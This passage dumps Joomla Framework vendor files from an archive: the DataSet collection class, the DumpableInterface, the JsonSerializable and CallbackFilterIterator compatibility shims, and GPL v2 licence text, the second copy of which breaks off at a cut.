\InvalidArgumentException if an object is not an instance of Data\Object. */ public function __construct(array $objects = array()) { // Set the objects. $this->_initialise($objects); } /** * The magic call method is used to call object methods using the iterator. * * Example: $array = $objectList->foo('bar'); * * The object list will iterate over its objects and see if each object has a callable 'foo' method. * If so, it will pass the argument list and assemble any return values. If an object does not have * a callable method no return value is recorded. * The keys of the objects and the result array are maintained. * * @param string $method The name of the method called. * @param array $arguments The arguments of the method called. * * @return array An array of values returned by the methods called on the objects in the data set. * * @since 1.0 */ public function __call($method, $arguments = array()) { $return = array(); // Iterate through the objects. foreach ($this->objects as $key => $object) { // Create the object callback. $callback = array($object, $method); // Check if the callback is callable. if (is_callable($callback)) { // Call the method for the object. $return[$key] = call_user_func_array($callback, $arguments); } } return $return; } /** * The magic get method is used to get a list of properties from the objects in the data set. * * Example: $array = $dataSet->foo; * * This will return a column of the values of the 'foo' property in all the objects * (or values determined by custom property setters in the individual Data\Object's). * The result array will contain an entry for each object in the list (compared to __call which may not). * The keys of the objects and the result array are maintained. * * @param string $property The name of the data property. * * @return array An associative array of the values. * * @since 1.0 */ public function __get($property) { $return = array(); // Iterate through the objects. foreach ($this->objects as $key => $object) { // Get the property. $return[$key] = $object->$property; } return $return; } /** * The magic isset method is used to check the state of an object property using the iterator. * * Example: $array = isset($objectList->foo); * * @param string $property The name of the property. * * @return boolean True if the property is set in any of the objects in the data set. * * @since 1.0 */ public function __isset($property) { $return = array(); // Iterate through the objects. foreach ($this->objects as $object) { // Check the property. $return[] = isset($object->$property); } return in_array(true, $return, true) ? true : false; } /** * The magic set method is used to set an object property using the iterator. * * Example: $objectList->foo = 'bar'; * * This will set the 'foo' property to 'bar' in all of the objects * (or a value determined by custom property setters in the Data\Object). * * @param string $property The name of the property. * @param mixed $value The value to give the data property. * * @return void * * @since 1.0 */ public function __set($property, $value) { // Iterate through the objects. foreach ($this->objects as $object) { // Set the property. $object->$property = $value; } } /** * The magic unset method is used to unset an object property using the iterator. * * Example: unset($objectList->foo); * * This will unset all of the 'foo' properties in the list of Data\Object's. * * @param string $property The name of the property. * * @return void * * @since 1.0 */ public function __unset($property) { // Iterate through the objects. foreach ($this->objects as $object) { unset($object->$property); } } /** * Gets an array of keys, existing in objects * * @param string $type Selection type 'all' or 'common' * * @return array Array of keys * * @since 1.2.0 * @throws \InvalidArgumentException */ public function getObjectsKeys($type = 'all') { $keys = null; if ($type == 'all') { $function = 'array_merge'; } elseif ($type == 'common') { $function = 'array_intersect_key'; } else { throw new \InvalidArgumentException("Unknown selection type: $type"); } foreach ($this->objects as $object) { if (version_compare(PHP_VERSION, '5.4.0', '<')) { $object_vars = json_decode(json_encode($object->jsonSerialize()), true); } else { $object_vars = json_decode(json_encode($object), true); } $keys = (is_null($keys)) ? $object_vars : $function($keys, $object_vars); } return array_keys($keys); } /** * Gets all objects as an array * * @param boolean $associative Option to set return mode: associative or numeric array. * @param string $k Unlimited optional property names to extract from objects. * * @return array Returns an array according to defined options. * * @since 1.2.0 */ public function toArray($associative = true, $k = null) { $keys = func_get_args(); $associative = array_shift($keys); if (empty($keys)) { $keys = $this->getObjectsKeys(); } $return = array(); $i = 0; foreach ($this->objects as $key => $object) { $array_item = array(); $key = ($associative) ? $key : $i++; $j = 0; foreach ($keys as $property) { $property_key = ($associative) ? $property : $j++; $array_item[$property_key] = (isset($object->$property)) ? $object->$property : null; } $return[$key] = $array_item; } return $return; } /** * Gets the number of data objects in the set. * * @return integer The number of objects. * * @since 1.0 */ public function count() { return count($this->objects); } /** * Clears the objects in the data set. * * @return DataSet Returns itself to allow chaining. * * @since 1.0 */ public function clear() { $this->objects = array(); $this->rewind(); return $this; } /** * Get the current data object in the set. * * @return DataObject The current object, or false if the array is empty or the pointer is beyond the end of the elements. * * @since 1.0 */ public function current() { return is_scalar($this->current) ? $this->objects[$this->current] : false; } /** * Dumps the data object in the set, recursively if appropriate. * * @param integer $depth The maximum depth of recursion (default = 3). * For example, a depth of 0 will return a stdClass with all the properties in native * form. A depth of 1 will recurse into the first level of properties only. * @param \SplObjectStorage $dumped An array of already serialized objects that is used to avoid infinite loops. * * @return array An associative array of the data objects in the set, dumped as a simple PHP stdClass object. * * @see DataObject::dump() * @since 1.0 */ public function dump($depth = 3, \SplObjectStorage $dumped = null) { // Check if we should initialise the recursion tracker. if ($dumped === null) { $dumped = new \SplObjectStorage; } // Add this object to the dumped stack. $dumped->attach($this); $objects = array(); // Make sure that we have not reached our maximum depth. if ($depth > 0) { // Handle JSON serialization recursively. foreach ($this->objects as $key => $object) { $objects[$key] = $object->dump($depth, $dumped); } } return $objects; } /** * Gets the data set in a form that can be serialised to JSON format. * * Note that this method will not return an associative array, otherwise it would be encoded into an object. * JSON decoders do not consistently maintain the order of associative keys, whereas they do maintain the order of arrays. * * @param mixed $serialized An array of objects that have already been serialized that is used to infinite loops * (null on first call). * * @return array An array that can be serialised by json_encode(). * * @since 1.0 */ public function jsonSerialize($serialized = null) { // Check if we should initialise the recursion tracker. if ($serialized === null) { $serialized = array(); } // Add this object to the serialized stack. $serialized[] = spl_object_hash($this); $return = array(); // Iterate through the objects. foreach ($this->objects as $object) { // Call the method for the object. $return[] = $object->jsonSerialize($serialized); } return $return; } /** * Gets the key of the current object in the iterator. * * @return scalar The object key on success; null on failure. * * @since 1.0 */ public function key() { return $this->current; } /** * Gets the array of keys for all the objects in the iterator (emulates array_keys). * * @return array The array of keys * * @since 1.0 */ public function keys() { return array_keys($this->objects); } /** * Applies a function to every object in the set (emulates array_walk). * * @param callable $funcname Callback function. * * @return boolean * * @since 1.2.0 * @throws \InvalidArgumentException */ public function walk($funcname) { if (!is_callable($funcname)) { $message = __METHOD__ . '() expects parameter 1 to be a valid callback'; if (is_string($funcname)) { $message .= sprintf(', function \'%s\' not found or invalid function name', $funcname); } throw new \InvalidArgumentException($message); } foreach ($this->objects as $key => $object) { $funcname($object, $key); } return true; } /** * Advances the iterator to the next object in the iterator. * * @return void * * @since 1.0 */ public function next() { // Get the object offsets. $keys = $this->keys(); // Check if _current has been set to false but offsetUnset. if ($this->current === false && isset($keys[0])) { // This is a special case where offsetUnset was used in a foreach loop and the first element was unset. $this->current = $keys[0]; } else { // Get the current key. $position = array_search($this->current, $keys); // Check if there is an object after the current object. if ($position !== false && isset($keys[$position + 1])) { // Get the next id. $this->current = $keys[$position + 1]; } else { // That was the last object or the internal properties have become corrupted. $this->current = null; } } } /** * Checks whether an offset exists in the iterator. * * @param mixed $offset The object offset. * * @return boolean True if the object exists, false otherwise. * * @since 1.0 */ public function offsetExists($offset) { return isset($this->objects[$offset]); } /** * Gets an offset in the iterator. * * @param mixed $offset The object offset. * * @return DataObject The object if it exists, null otherwise. * * @since 1.0 */ public function offsetGet($offset) { return isset($this->objects[$offset]) ? $this->objects[$offset] : null; } /** * Sets an offset in the iterator. * * @param mixed $offset The object offset. * @param DataObject $object The object object. * * @return void * * @since 1.0 * @throws \InvalidArgumentException if an object is not an instance of Data\Object. */ public function offsetSet($offset, $object) { if (!($object instanceof DataObject)) { throw new \InvalidArgumentException(sprintf('%s("%s", *%s*)', __METHOD__, $offset, gettype($object))); } // Set the offset. $this->objects[$offset] = $object; } /** * Unsets an offset in the iterator. * * @param mixed $offset The object offset. * * @return void * * @since 1.0 */ public function offsetUnset($offset) { if (!$this->offsetExists($offset)) { // Do nothing if the offset does not exist. return; } // Check for special handling of unsetting the current position. if ($offset == $this->current) { // Get the current position. $keys = $this->keys(); $position = array_search($this->current, $keys); // Check if there is an object before the current object. if ($position > 0) { // Move the current position back one. $this->current = $keys[$position - 1]; } else { // We are at the start of the keys AND let's assume we are in a foreach loop and `next` is going to be called. $this->current = false; } } unset($this->objects[$offset]); } /** * Rewinds the iterator to the first object. * * @return void * * @since 1.0 */ public function rewind() { // Set the current position to the first object. if (empty($this->objects)) { $this->current = false; } else { $keys = $this->keys(); $this->current = array_shift($keys); } } /** * Validates the iterator. * * @return boolean True if valid, false otherwise. * * @since 1.0 */ public function valid() { // Check the current position. if (!is_scalar($this->current) || !isset($this->objects[$this->current])) { return false; } return true; } /** * Initialises the list with an array of objects. * * @param array $input An array of objects. * * @return void * * @since 1.0 * @throws \InvalidArgumentException if an object is not an instance of Data\DataObject. */ private function _initialise(array $input = array()) { foreach ($input as $key => $object) { if (!is_null($object)) { $this->offsetSet($key, $object); } } $this->rewind(); } } PKÜ�\ ���!!,vendor/joomla/data/src/DumpableInterface.phpnu�[���<?php /** * Part of the Joomla Framework Data Package * * @copyright Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Data; /** * An interface to define if an object is dumpable. * * @since 1.0 */ interface DumpableInterface { /** * Dumps the object properties into a stdClass object, recursively if appropriate. * * @param integer $depth The maximum depth of recursion. * For example, a depth of 0 will return a stdClass with all the properties in native * form. A depth of 1 will recurse into the first level of properties only. * @param \SplObjectStorage $dumped An array of already serialized objects that is used to avoid infinite loops. * * @return \stdClass The data properties as a simple PHP stdClass object. * * @since 1.0 */ public function dump($depth = 3, \SplObjectStorage $dumped = null); } PKÜ�\�P�E�Evendor/joomla/compat/LICENSEnu�[���GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the program's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. <signature of Ty Coon>, 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. PKÜ�\�$���-vendor/joomla/compat/src/JsonSerializable.phpnu�[���<?php /** * Part of the Joomla Framework Compat Package * * @copyright Copyright (C) 2005 - 2013 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ /** * JsonSerializable interface. This file provides backwards compatibility to PHP 5.3 and ensures * the interface is present in systems where JSON related code was removed. * * @link http://www.php.net/manual/en/jsonserializable.jsonserialize.php * @since 1.0 */ interface JsonSerializable { /** * Return data which should be serialized by json_encode(). * * @return mixed * * @since 1.0 */ public function jsonSerialize(); } PKÜ�\���3vendor/joomla/compat/src/CallbackFilterIterator.phpnu�[���<?php /** * Part of the Joomla Framework Compat Package * * @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ /** * CallbackFilterIterator using the callback to determine which items are accepted or rejected. * * @link http://php.net/manual/en/class.callbackfilteriterator.php * @since 1.2.0 */ class CallbackFilterIterator extends \FilterIterator { /** * The callback to check value. * * @var callable * * @since 1.2.0 */ protected $callback = null; /** * Creates a filtered iterator using the callback to determine * which items are accepted or rejected. * * @param \Iterator $iterator The iterator to be filtered. * @param callable $callback The callback, which should return TRUE to accept the current item * or FALSE otherwise. May be any valid callable value. * The callback should accept up to three arguments: the current item, * the current key and the iterator, respectively. * ``` php * function my_callback($current, $key, $iterator) * ``` * * @throws InvalidArgumentException * * @since 1.2.0 */ public function __construct(\Iterator $iterator, $callback) { if (!is_callable($callback)) { throw new \InvalidArgumentException("Argument 2 of CallbackFilterIterator should be callable."); } $this->callback = $callback; parent::__construct($iterator); } /** * This method calls the callback with the current value, current key and the inner iterator. * The callback is expected to return TRUE if the current item is to be accepted, or FALSE otherwise. * * @link http://www.php.net/manual/en/callbackfilteriterator.accept.php * * @return boolean True if the current element is acceptable, otherwise false. * * @since 1.2.0 */ public function accept() { $inner = $this->getInnerIterator(); return call_user_func_array( $this->callback, array( $inner->current(), $inner->key(), $inner ) ); } } PKÜ�\�P�E�Evendor/joomla/input/LICENSEnu�[���GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE 